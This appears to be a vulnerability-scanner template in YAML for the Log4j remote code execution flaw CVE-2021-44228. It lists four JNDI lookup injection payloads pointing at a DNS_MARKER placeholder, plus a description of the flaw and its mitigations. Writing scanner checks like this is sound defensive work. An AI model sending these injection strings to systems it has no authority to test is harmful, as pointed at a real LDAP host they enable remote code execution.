CVE-2021-44228_Log4j_rce.yaml

generate:
  - payload:
    - '${jndi:ldap://DNS_MARKER}'
    - '${jndi:ldap://DNS_MARKER}/'
    - '${jndi:rmi://DNS_MARKER//}'
    - '${jndi:dns://DNS_MARKER}'
  - method:
    - replace
detect:
  - oob:
    - dns
meta-info:
  - title: "Log4j Remote Code Execution (CVE-2021-44228)"
  - description: 'Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. In previous releases (>2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to “true” or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false"'
  - applicable_for:
    - attack_rechecker
    - fast
  - threat: 95
  - type: rce 
  - tags:
    - Java
    - log4j
    - CVE-2021-44228
    - CWE-502
    - CWE-400
    - CWE-20